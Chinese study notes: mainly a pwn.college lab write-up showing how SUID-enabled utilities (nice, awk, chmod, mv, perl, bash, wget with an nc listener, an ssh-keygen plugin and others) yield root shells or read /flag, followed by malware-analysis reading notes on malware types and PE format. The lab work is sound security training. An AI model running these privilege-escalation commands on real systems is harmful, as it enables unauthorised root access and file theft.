因此,这个命令的效果是启动一个新的shell进程,并将其环境变量设置为当前shell进程的环境变量。这可以用于测试shell脚本或命令对环境变量的影响,或者在两个不同的shell进程之间共享环境变量。
看起来就是赋权,然后会拿到一个新的shell提示符
level27 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-27:~$ sh file.sh
Welcome to ./babysuid_level27!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/nice.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level27) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/nice!
nice
工具:用于以指定的进程调度优先级启动其他的程序。
hacker@program-misuse-level-27:~$ nice /bin/sh -p
# cat /flag
pwn.college{celMGA3nJomrVQwA5iPwIY2IORz.0VO2EDL2QjMyMzW}
#
这样才是题目想要的,我傻了
level28 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-28:~$ sh file.sh
Welcome to ./babysuid_level28!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/timeout.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level28) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/timeout!
timeout
工具:用来指定时间后杀死进程的。
hacker@program-misuse-level-28:~$ timeout 1h /bin/sh -p
# cat /flag
pwn.college{sWxHBmerdB7TO79CXDlkRtygh4x.0FM3EDL2QjMyMzW}
#
这个需要注意指定一个时间
level29 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-29:~$ sh file.sh
Welcome to ./babysuid_level29!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/stdbuf.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level29) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/stdbuf!
stdbuf
工具:修改标准流的缓冲模式和大小
hacker@program-misuse-level-29:~$ stdbuf --input=512K /bin/sh -p
# cat /flag
pwn.college{IHf3mOmt5d10g3StOZp5S0AMAfJ.0VM3EDL2QjMyMzW}
#
别用man,真的不好用
level30 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-30:~$ sh file.sh
Welcome to ./babysuid_level30!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/setarch.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level30) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/setarch!
setarch
工具: 改变架构的工具
hacker@program-misuse-level-30:~$ setarch i386 /bin/sh -p
# cat /flag
pwn.college{08T2qH86iHnjvFJb-5bmU9C5kJt.0lM3EDL2QjMyMzW}
#
它这个说默认是/bin/sh,可以切i386,在man里写着呢
level31 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-31:~$ sh file.sh
Welcome to ./babysuid_level31!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/watch.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level31) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/watch!
watch
工具:执行命令然后全屏输出
hacker@program-misuse-level-31:~$ watch -x cat /flag
### 使用后会输出到全屏
pwn.college{UMl5SVp_YjbBiTIgIIiAi7i_5fg.01M3EDL2QjMyMzW}
很神奇的工具,然而发现tldr不怎么全,只有常见命令,到CTF的环境之中就不太适用了
level32 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-32:~$ sh file.sh
Welcome to ./babysuid_level32!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/socat.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level32) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/socat!
socat
:是个和socket有关的工具。
hacker@program-misuse-level-32:~$ socat -u "file:/flag" -
pwn.college{QKHthQcoA6ncJKsiqFJMZ6ITybE.0FN3EDL2QjMyMzW}
hacker@program-misuse-level-32:~$
level33 Requires some light programming to read the flag.!
hacker@program-misuse-level-33:~$ sh file.sh
Welcome to ./babysuid_level33!
This challenge is part of a series of programs that
will require some light programming to read the flag..
I just set the SUID bit on /usr/bin/whiptail.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level33) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/whiptail!
whiptail
:展示shell的对话框的工具
hacker@program-misuse-level-33:~$ whiptail --textbox /flag 20 40
pwn.college{4r_plp-YJyPyhT4_GiJQz042S5b.0VN3EDL2QjMyMzW}
是一个打开对话框的工具,因此思路就是直接展示出来就行了。
level34 Requires some light programming to read the flag.!
hacker@program-misuse-level-34:~$ sh file.sh
Welcome to ./babysuid_level34!
This challenge is part of a series of programs that
will require some light programming to read the flag..
I just set the SUID bit on /usr/bin/awk.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level34) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/awk!
这次是一个我一直都不怎么会用的工具了。。。你妈的
hacker@program-misuse-level-34:~$ awk '{print $1}' /flag
pwn.college{ghdjRlnfhKYn-uhIb2N76siNtG_.0lN3EDL2QjMyMzW}
hacker@program-misuse-level-34:~$
awk
是一个很有用的工具,有时间还是得学一学
level35 Requires some light programming to read the flag.!
hacker@program-misuse-level-35:~$ sh file.sh
Welcome to ./babysuid_level35!
This challenge is part of a series of programs that
will require some light programming to read the flag..
I just set the SUID bit on /usr/bin/sed.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level35) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/sed!
果然,在awk之后我就应该想到是sed
hacker@program-misuse-level-35:~$ sed p /flag
pwn.college{M3upZ8DYRun26uvObOYrzPSdSUO.01N3EDL2QjMyMzW}
pwn.college{M3upZ8DYRun26uvObOYrzPSdSUO.01N3EDL2QjMyMzW}
hacker@program-misuse-level-35:~$
也许我之前操作错了什么,这里不应该是两行flag吧?
level36 Requires some light programming to read the flag.!
hacker@program-misuse-level-36:~$ sh file.sh
Welcome to ./babysuid_level36!
This challenge is part of a series of programs that
will require some light programming to read the flag..
I just set the SUID bit on /usr/bin/ed.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level36) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ed!
ed
工具:是个编辑器,是交互式的
hacker@program-misuse-level-36:~$ ed /flag
57
.p
pwn.college{QNXzpWhqr3e12Okfu2KRnY5jyxa.0FO3EDL2QjMyMzW}
显示全文
level37 Lets you get the flag by doing tricks with permissions!
hacker@program-misuse-level-37:~$ sh file.sh
Welcome to ./babysuid_level37!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/chown.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level37) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/chown!
chown
工具:改变文件的所有者和组的
hacker@program-misuse-level-37:~$ chown hacker /flag
hacker@program-misuse-level-37:~$ cat /flag
pwn.college{49NDHOhwhBEwWccuPUHSxUU0RIE.0VO3EDL2QjMyMzW}
hacker@program-misuse-level-37:~$
这就是简单的赋权了
level38 Lets you get the flag by doing tricks with permissions!
hacker@program-misuse-level-38:~$ sh file.sh
Welcome to ./babysuid_level38!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/chmod.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level38) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/chmod!
这个,没人不会吧
hacker@program-misuse-level-38:~$ chmod 777 /flag
hacker@program-misuse-level-38:~$ cat /flag
pwn.college{UtH5piA32tLwQLpCFPRDXuFa98r.0FM4EDL2QjMyMzW}
hacker@program-misuse-level-38:~$
level39 Lets you get the flag by doing tricks with permissions!
hacker@program-misuse-level-39:~$ sh file.sh
Welcome to ./babysuid_level39!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/cp.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level39) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cp!
一开始想搞个硬链接,然后发现不行,然后输出到标准输出流就行了
hacker@program-misuse-level-39:~$ cp /flag /dev/stdout
pwn.college{Q2azoEz2fXYLZxYkmGAK4PjtrO7.0VM4EDL2QjMyMzW}
hacker@program-misuse-level-39:~$
level40 Lets you get the flag by doing tricks with permissions!
hacker@program-misuse-level-40:~$ sh file.sh
Welcome to ./babysuid_level40!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!
这题,十分的离谱啊,完全不会做,看的答案,实在是太骚气了,使用mv把cat覆盖mv
hacker@program-misuse-level-40:~$ mv /usr/bin/cat /usr/bin/mv
hacker@program-misuse-level-40:~$ sh file.sh
Welcome to ./babysuid_level40!
This challenge is part of a series of programs that
let you get the flag by doing tricks with permissions.
I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level40) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/mv!
hacker@program-misuse-level-40:~$ mv /flag
pwn.college{g9AYY8a5E2v4R8jr_434HNFYEL3.0lM4EDL2QjMyMzW}
hacker@program-misuse-level-40:~$
///@TODO:这个值得记录一下!
这个题让我想起了一个看到的内容:
如果我们在命令之中不使用管道而使用重定向(这是新手可能会犯的错误)那么前一个输出会重写到后面的命令之中造成混乱,比如 cat /flag > more
level41 Lets you read the flag because they let you program anything!
hacker@program-misuse-level-41:~$ sh file.sh
Welcome to ./babysuid_level41!
This challenge is part of a series of programs that
let you read the flag because they let you program anything.
I just set the SUID bit on /usr/bin/perl.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level41) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/perl!
perl
是个脚本解释器,
hacker@program-misuse-level-41:~$ perl -ne "print if pwn.college" /flag
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_CTYPE = "C.UTF-8",
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
pwn.college{s8g_u7MkHNRfph-Yrrslj2vzKUJ.01M4EDL2QjMyMzW}
hacker@program-misuse-level-41:~$
打印有pen.college的行
level42 Lets you read the flag because they let you program anything!
hacker@program-misuse-level-42:~$ sh file.sh
Welcome to ./babysuid_level42!
This challenge is part of a series of programs that
let you read the flag because they let you program anything.
I just set the SUID bit on /usr/bin/python.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level42) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/python!
使用python
>>> with open("/flag","r") as f:
... print(f.read())
...
pwn.college{kTtv9lYtW7yK8dnUSvApk5Yv1s-.0FN4EDL2QjMyMzW}
>>>
level43 Lets you read the flag because they let you program anything!
hacker@program-misuse-level-43:~$ sh file.sh
Welcome to ./babysuid_level43!
This challenge is part of a series of programs that
let you read the flag because they let you program anything.
I just set the SUID bit on /usr/bin/ruby.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level43) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ruby!
用ruby写脚本
# 打开文件
File.open('/flag', 'r') do |f|
# 读取文件内容
content = f.read
# 输出文件内容
puts content
end
hacker@program-misuse-level-43:~$ ruby level43.rb
pwn.college{smGb0PfTvxp0__6HgKHsucNW2Pg.0VN4EDL2QjMyMzW}
hacker@program-misuse-level-43:~$
level44 Lets you read the flag because they let you program anything!
hacker@program-misuse-level-44:~$ sh file.sh
Welcome to ./babysuid_level44!
This challenge is part of a series of programs that
let you read the flag because they let you program anything.
I just set the SUID bit on /usr/bin/bash.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level44) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/bash!
bash,参照之前的题拿到提示符
hacker@program-misuse-level-44:~$ bash -p
bash-5.0# cat /flag
pwn.college{wsQ6idwZWBnJ7doJInQhvY0hBVg.0lN4EDL2QjMyMzW}
bash-5.0#
level45 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-45:~$ sh file.sh
Welcome to ./babysuid_level45!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/date.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level45) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/date!
手册里写了-f读文件
hacker@program-misuse-level-45:~$ date -f /flag
date: invalid date 'pwn.college{E0wTS_9vWAv5Z6QWVWGpaHKER5P.01N4EDL2QjMyMzW}'
hacker@program-misuse-level-45:~$
level46 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-46:~$ sh file.sh
Welcome to ./babysuid_level46!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/dmesg.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level46) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/dmesg!
显示开机时间之类的东西
hacker@program-misuse-level-46:~$ dmesg -F /flag
[ 0.000000] pwn.college{Q8U4rT5_srr0BlLq1ZlDOJx0yDe.0FO4EDL2QjMyMzW}
hacker@program-misuse-level-46:~$
都是看手册
level47 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-47:~$ sh file.sh
Welcome to ./babysuid_level47!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/wc.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level47) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/wc!
wc
一般用于统计行号、字数什么的。
hacker@program-misuse-level-47:~$ wc --files0-from=/flag
wc: 'pwn.college{shy1dFSZ2LmpPnQ-OAl_RoDeLxh.0VO4EDL2QjMyMzW}'$'\n': No such file or directory
hacker@program-misuse-level-47:~$
从手册来看就上面这个不是统计数量的,因此就它了!
level48 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-48:~$ sh file.sh
Welcome to ./babysuid_level48!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/gcc.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level48) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/gcc!
有点儿意思,gcc都出来了
hacker@program-misuse-level-48:~$ gcc -x c -E /flag
# 1 "/flag"
# 1 "<built-in>"
# 1 "<command-line>"
# 31 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "<command-line>" 2
# 1 "/flag"
pwn.college{UgtHTJRU8raItcJF89PS-hM7Rh9.0FM5EDL2QjMyMzW}
hacker@program-misuse-level-48:~$
它这个必须要指定语言,不然不能运行
///@TODO: 这个一定要去看官方解答,直接在一个程序里面include ‘/flag’,然后靠报错得到flag,非常有启发
level49 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-49:~$ sh file.sh
Welcome to ./babysuid_level49!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/as.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level49) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/as!
as
:汇编语言的编译器
hacker@program-misuse-level-49:~$ as -g /flag
/flag: Assembler messages:
/flag:1: Error: no such instruction: `pwn.college{MqHCh7Oprd3rEP2f1i_RgAl8QZR.0VM5EDL2QjMyMzW}'
hacker@program-misuse-level-49:~$
通过调试输出
level50 Just straight up wasn’t designed to let you read files!
hacker@program-misuse-level-50:~$ sh file.sh
Welcome to ./babysuid_level50!
This challenge is part of a series of programs that
just straight up weren't designed to let you read files.
I just set the SUID bit on /usr/bin/wget.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level50) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/wget!
wget
:下载器
hacker@program-misuse-level-50:~$ nc -lp 8888 & wget --post-file=/flag http://127.0.0.1:8888
[1] 5873
--2023-07-22 13:39:17-- http://127.0.0.1:8888/
Connecting to 127.0.0.1:8888... connected.
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:8888
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
HTTP request sent, awaiting response... pwn.college{M8oJZxXsT1hCl5_WCWqpA-ITlJZ.0lM5EDL2QjMyMzW}
有个叫文件上传的功能,这个看了一个别人的答案
level51 Shows how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part)!
hacker@program-misuse-level-51:~$ sh file.sh
Welcome to ./babysuid_level51!
This challenge is part of a series of programs that
show you how dangerous it is to allow users to load their own code as plugins into the program (but figuring out how is the hard part!).
I just set the SUID bit on /usr/bin/ssh-keygen.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level51) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ssh-keygen!
这个我是一点儿都不会,看了一下讲解才明白,G
这个就是写一个C/C++程序,里面要有C_GetFunctionList这个函数,然后用sendfile来open文件。
然后使用gcc编译成.so文件,最后使用ssh-keygen -D即可。
hacker@program-misuse-level-51:~$ ssh-keygen -D ./level51.so
pwn.college{koI1pFWalnNHyjlN_NQ4CLcsasT.01M5EDL2QjMyMzW}
C_GetFunctionList for provider ./level51.so failed: 57
cannot read public key from pkcs11
hacker@program-misuse-level-51:~$
值得记录的内容
关于mv 那块儿的,一个博客
最后一个题的讲解,这玩意儿不讲是真不会,太菜了
Knowledge
wp
level1
hacker@program-interaction-level-1:~$ /challenge/embryoio_level1
WELCOME! This challenge makes the following asks of you:
- the challenge checks for a specific parent process : bash
ONWARDS TO GREATNESS!
[INFO] This challenge will now perform a bunch of checks.
[INFO] If you pass these checks, you will receive the flag.
[TEST] Performing checks on the parent process of this process.
[TEST] Checking to make sure the process is the bash shell. If this is a check for the parent process, then,
[TEST] most likely, this is what you do by default anyways, but we'll check just in case...
[INFO] The process' executable is /usr/bin/bash.
[INFO] This might be different than expected because of symbolic links (for example, from /usr/bin/python to /usr/bin/python3 to /usr/bin/python3.8).
[INFO] To pass the checks, the executable must be bash.
[FAIL] You did not satisfy all the execution requirements.
[FAIL] Specifically, you must fix the following issue:
[FAIL] The shell process must be running in its default, interactive mode (/bin/bash with no commandline arguments). Your commandline arguments are: ['/bin/bash', '--init-file', '/usr/lib/code-server/lib/vscode/out/vs/workbench/contrib/terminal/browser/media/shellIntegration-bash.sh']
hacker@program-interaction-level-1:~$
level2
level3
level4
level5
level6
level7
level8
level9
level10
level11
level12
level13
level14
level15
level16
level17
level18
level19
level20
level21
level22
level23
level24
level25
level26
level27
level28
level29
level30
level31
level32
level33
level34
level35
level36
level37
level38
level39
level40
level41
level42
level43
level44
level45
level46
level47
level48
level49
level50
level51
level52
level53
level54
level55
level56
level57
level58
level59
level60
level61
level62
level63
level64
level65
level66
level67
level68
level70
level71
level72
level73
level74
level76
level77
level78
level79
level80
level82
level83
level84
level85
level86
level87
level88
level89
level90
level91
level92
level93
level94
level95
level96
level97
level98
level99
level100
level101
level102
level103
level104
level105
level106
level107
level108
level109
level110
level111
level112
level113
level114
level115
level116
level117
level118
level119
level120
level121
level122
level123
level124
level125
level126
level127
level128
level129
level130
level131
level132
level133
level134
level135
level136
level137
level138
level139
level140
level141
level142
《恶意代码分析实战》阅读笔记
这本书在课上学过,可惜当时讲的太浅,因此现在重新开始学习这些内容,并希望可以在学习的过程之中使用这些内容自己编写一些简单的、小的病毒。
About Knowledge
存放了所有理论知识和笔记。
The Goals of Malware Analysis
- 确定到底发生了什么
- 确保能够定位出所有受感染的主机和文件
- 解刨可疑文件
- 找出可用于检测的特征码
- 基于机器学习构建检测系统
- 如何检测并控制损害
Signatures 特征码
-
Identify files or registry keys on a victim computer that indicate an infection
-
Focus on what the malware did to the system, not the malware itself
-
Different from antivirus signatures
-
又称为感染迹象,用于在受感染主机上检测出恶意代码。
-
经常是恶意代码所创建或修改的文件,或是对注册表的特定修改。
-
与反病毒软件所使用的病毒特征码不同 恶意代码的感染迹象关注的是恶意代码对系统做了什么 恶意代码的病毒特征码关注的是恶意代码本身的特性。 有时感染迹象更加有效,比如检测那些经常变化自身形态的多态性恶意代码,或者恶意代码已经将自身文件从硬盘中删除。
-
Network signatures 基于网络的特征码
-
Detect malware by analyzing network traffic
-
More effective when made using malware analysis
-
通过监测网络流量来检测恶意代码
-
在恶意代码分析帮助下提取的基于网络的特征码往往是更加有效的,有更高的检测率和更少的误报
两种方法
静态、动态
而这两种之中又分为基础技术和高级技术,高级技术就是指逆向、调试等内容。
恶意代码的类型
- Backdoor后门
- Allows attacker to control the system
- 恶意代码将自身安装到一台计算机来允许攻击者访问
- Botnet 僵尸网络
- All infected computers receive instructions from the same Command-and-Control (C&C) server
- 所有被同一个僵尸网络感染的计算机将会从一台控制命令服务器接收到相同的命令,允许攻击者访问系统
- Downloader 下载器
- Malicious code that exists only to download other malicious code
- Used when attacker first gains access
- 只是用来下载其他恶意代码的恶意代码
- 通常是在攻击者获得系统的访问时首先进行安装的
- Information-stealing malware 间谍软件
- Sniffers, keyloggers, password hash grabbers
- 从受害计算机上收集信息并发送给攻击者
- 比如:嗅探器、密码哈希采集器、键盘记录器等。
- Launcher 启动器
- Malicious program used to launch other malicious programs
- Often uses nontraditional techniques to ensure stealth or greater access to a system
- 用来启动其他恶意程序的恶意代码
- 通常使用一些非传统的技术来启动其他恶意程序,以确保其隐蔽性,或者以更高权限访问系统。
- Rootkit内核套件
- Malware that conceals the existence of other code
- Usually paired with a backdoor
- 用来隐藏其他恶意代码的恶意代码
- 通常是与其他恶意代码(如后门)组合成工具套装,来允许为攻击者提供远程访问
- Scareware 恐吓软件(勒索软件?)
- Frightens user into buying something
- 勒索用户购买某些东西的恶意代码
- 通常有一个用户界面,使得它看起来像是一个杀毒软件或其他安全程序。它会通知用户系统中存在恶意代码,而唯一除掉它们的方法只有购买他们的“软件”,而事实上,他们所卖软件的全部功能只不过是将勒索软件进行移除而己。
- Spam-sending malware 发送垃圾邮件的恶意代码
- Attacker rents machine to spammers
- 通过为攻击者出售垃圾邮件发送服务而获得收益
- Worms or viruses 蠕虫或病毒
- Malicious code that can copy itself and infect additional computers
- 可以复制自身并感染其他计算机的恶意代码
- Ransomware 勒索软件
- encrypt victim’s data as hostage
- ask for ransom to recover the data
- 将受害者的数据加密为人质
- 勒索财物后才恢复数据
Mass v. Targeted Malware
- Mass malware 大众性恶意代码
- Intended to infect as many machines as possible
- Most common type
- 设计为影响到尽可能多的机器
- 最为普遍
Targeted malware 针对性恶意代码
- APT(Advanced Persistent Threat):高级持续性威胁,本质是针对性攻击
- Tailored to a specific target
- Very difficult to detect, prevent, and remove
- Requires advanced analysis
- Ex: Stuxnet
- 针对特定组织而研制的
- 很难检测,防止和移除
- 需要高级分析
- 震网病毒
静态分析技术基础
反病毒引擎
可以用一些开源扫描引擎先扫一下病毒
哈希值
恶意代码的唯一标识。如果对hash不熟悉,这里需要一些密码学的知识。
工具:md5deep
查找字符串
工具:strings
strings会忽略上下文和格式,从整个文件中检测出可打印字符串。
unicode编码
这里需要知道unicode和ascii的区别
加壳
加壳用来防止恶意代码被轻易分析出来。
加壳和混淆代码通常包含 LoadLibrary
和GetProcAddress
函数,用来加载和使用其他函数功能
检测
工具:PEiD
2011年停止支持,不知道有没有新的工具。
PE文件格式
本段内容由网络知识搜索而成,因为PE文件非常重要,书上这一点讲得太少!
基本介绍
PE文件是Windows操作系统下使用的一种可执行文件,由COFF(UNIX平台下的通用对象文件格式)格式。
PE是“Portable Executable File Format”(可移植的执行体)的缩写。
PE文件是指 32 位可执行文件,也称为PE32。64位的可执行文件称为 PE+ 或 PE32+,是PE(PE32)的一种扩展形式(请注意不是PE64),没有新的结构加入,只是简单地将以前32位字段扩展成64位。对于C++代码,Windows文件头的配置使其拥有不明显的区别。 事实上,一个文件是否是 PE 文件与其扩展名无关,EXE文件和DLL文件的区别完全是语义上的。它们使用完全相同的PE格式,唯一的区别就是用一个字段标识出这个文件是EXE还是DLL。
种类
种类 | 主扩展名 |
---|---|
可执行系列 | EXE, SCR |
库系列 | DLL, OCX, CPL, DRV |
驱动程序系列 | SYS, VXD |
对象文件系列 | OBJ |
基本形式
PE文件使用的是一个平面地址空间,所有代码和数据都被合并在一起,组成一个很大的结构。文件的内容被分割为不同的区块(Section,又称区段、节等),区块中包含代码或数据,各个区块按页边界来对齐,区块没有大小限制,是一个连续结构。每个块都有它自己在内存中的一套属性,比如:这个块是否包含代码、是否只读或可读/写等。
具体结构
- DOS头 是用来兼容 MS-DOS 操作系统的,目的是当这个文件在 MS-DOS 上运行时提示一段文字,大部分情况下是:This program cannot be run in DOS mode. 还有一个目的,就是指明 NT 头在文件中的位置。
- NT头 包含 windows PE 文件的主要信息,其中包括一个 ‘PE’ 字样的签名,PE文件头(IMAGE_FILE_HEADER)和 PE可选头(IMAGE_OPTIONAL_HEADER32)。
- 节表:是 PE 文件后续节的描述,windows 根据节表的描述加载每个节。
- 节:每个节实际上是一个容器,可以包含 代码、数据 等等,每个节可以有独立的内存权限,比如代码节默认有读/执行权限,节的名字和数量可以自己定义,未必是上图中的三个。
RVA VA
相对虚拟地址RVA与虚拟地址VA >当一个 PE 文件被加载到内存中以后,我们称之为 “ 映象 “(image),一般来说,PE文件在硬盘上和在内存里是不完全一样的,被加载到内存以后其占用的虚拟地址空间要比在硬盘上占用的空间大一些,这是因为各个节在硬盘上是连续的,而在内存中是按页对齐的,所以加载到内存以后节之间会出现一些 “空洞” 。
因为存在这种对齐,所以在 PE 结构内部,表示某个位置的地址采用了两种方式:
针对在硬盘上存储文件中的地址,称为 原始存储地址 或 物理地址,表示 距离文件头的偏移。 针对加载到内存以后映象中的地址,称为 相对虚拟地址(RVA),表示相对内存映象头的偏移。
这里需要知道的是RVA=VA-ImageBase
结构
DOS头
由MZ头和DOS存根组成
MZ
头部是真正的DOS头部,由于其开始处的两个字节为“MZ”,因此DOS头也可以叫作MZ头。该部分用于程序在DOS系统下加载,它的结构被定义为IMAGE_DOS_HEADER。
其中,值得注意的是e_magic字段和e_lfanew字段
e_magic字段占两个字节,值为0x5A4D
,对应ASCII码值为'MZ'
,“MZ“其实是MS-DOS的创建者之一Mark Zbikowski名字的缩写。
e_lfanew字段占4个字节,位于从文件开始偏移3Ch
字节处,用于指出NT头的偏移地址
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; //魔术数字
WORD e_cblp; //文件最后页的字节数
WORD e_cp; //文件页数
WORD e_crlc; //重定义元素个数
WORD e_cparhdr; //头部尺寸,以段落为单位
WORD e_minalloc; //所需的最小附加段
WORD e_maxalloc; //所需的最大附加段
WORD e_ss; //初始的SS值(相对偏移量)
WORD e_sp; //初始的SP值
WORD e_csum; //校验和
WORD e_ip; //初始的IP值
WORD e_cs; //初始的CS值(相对偏移量)
WORD e_lfarlc; //重分配表文件地址
WORD e_ovno; //覆盖号
WORD e_res[4]; //保留字
WORD e_oemid; //OEM标识符(相对e_oeminfo)
WORD e_oeminfo; //OEM信息
WORD e_res2[10]; //保留字
LONG e_lfanew; //新exe头部的文件位置
} IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;
NT头
PE最重要的头,由 DOS 头中的 e_lfanew 决定 ,表示 DOS头之后的 NT头相对文件起始地址的偏移
巨恶心的一大坨东西。
这一块儿最重要的是导入表、导出表、资源目录等。
这里日后用到了再写,这一坨是真的恶心
节表
节表Section Table是一个结构数组,每个元素都是一个IMAGE_SECTION_HEADER结构,包含了对应节的属性、文件偏移量、虚拟偏移量等。
typedef struct _IMAGE_SECTION_HEADER {
+000h BYTE Name[8]; //节名称,如".text"
union {
+008h DWORD PhysicalAddress; // 物理地址
+008h DWORD VirtualSize; // 节长度
} Misc;
+00Ch DWORD VirtualAddress; // RVA
+010h DWORD SizeOfRawData; // 对齐后的节尺寸
+014h DWORD PointerToRawData; // 基于文件的偏移
+018h DWORD PointerToRelocations; // 重定位的偏移
+01Ch DWORD PointerToLinenumbers; // 行号表的偏移
+020h WORD NumberOfRelocations; // 重定位项数目
+022h WORD NumberOfLinenumbers; // 行号表中行号数目
+024h DWORD Characteristics; // 节属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
PE 文件的执行顺序
- 当一个 PE 文件 被执行时,PE 装载器 首先检查 DOS header 里的 PE header 的偏移量。如果找到,则直接跳转到 PE header 的位置。 当 PE装载器 跳转到 PE header 后,第二步要做的就是2. 检查 PE header 是否有效。如果该 PE header 有效,就跳转到 PE header 的尾部。
- 紧跟 PE header 尾部的是节表。PE装载器执行完第二步后开始读取节表中的节段信息,并采用文件映射( 在执行一个PE文件的时候,Windows并不在一开始就将整个文件读入内存,而是采用与内存映射的机制,也就是说,Windows装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或者访问某一页中的数据时,这个页面才会被从磁盘提交到物理内存,这种机制使文件装入的速度和文件大小没有太大的关系 )的方法将这些节段映射到内存,同时附上节表里指定节段的读写属性。
- PE文件映射入内存后,PE装载器将继续处理PE文件中类似 import table (输入表)的逻辑部分。
ref
Dependency Walker
是个工具,探索动态链接函数的。
常见的DLL
函数命名约定
Ex,是微软在更新新函数和旧函数不兼容时加入的东西。
而A和W结尾是指接受参数分别是ascii和unicode
导入导出
需要自己熟悉一些windows函数
